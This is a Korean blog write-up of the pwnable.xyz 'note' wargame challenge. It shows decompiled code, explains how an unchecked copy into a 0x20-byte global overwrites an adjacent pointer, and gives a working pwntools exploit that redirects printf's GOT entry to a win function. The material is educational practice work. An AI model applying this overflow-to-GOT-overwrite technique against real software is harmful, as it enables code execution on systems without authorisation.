본문으로 바로가기

pwnable.xyz / note

category Wargame/pwnable.xyz 2020. 1. 13. 17:55
void edit_note()
{
  int size// ST04_4
  void *buf// ST08_8
  
  printf("Note len? ");
  size = read_int32();
  buf = malloc(size);
  printf("note: ");
  read(0bufsize);
  strncpy(s, (const char *)bufsize);
  free(buf);
}

 

edit_note에서 입력받은 값을 전역변수 s 에 쓴다. s 는 크기가 0x20인데 입력받을 때는 길이 제한이 없어서, s 뒤에 있는 buf 를 조작할 수 있다.

 

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0buf0x20uLL);
}

 

edit_desc 에서 buf 가 NULL일 때만 malloc 으로 할당받는다.

edit_note 에서 bufprintf 의 GOT 주소값으로 놓고 edit_desc 함수에서 win 의 주소값을 쓰면 되겠다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import argparse


def EditNote(length:intcontent:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b'? 'str(length).encode())
    p.writeafter(b': ', content)

def EditDesc(content:bytes) :
    p.writelineafter(b'> 'b'2')
    p.writeafter(b': ', content)

def exploit() :
    payload = b'A'*0x20
    payload += p64(0x601238)   # printf GOT

    EditNote(0x28, payload)
    EditDesc(p64(0x40093C))   # win

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30016)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 10/23/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / two targets  (0) 2020.01.13
pwnable.xyz / xor  (0) 2020.01.13
pwnable.xyz / GrownUp  (0) 2020.01.13
pwnable.xyz / misalignment  (0) 2020.01.13
pwnable.xyz / add  (0) 2020.01.13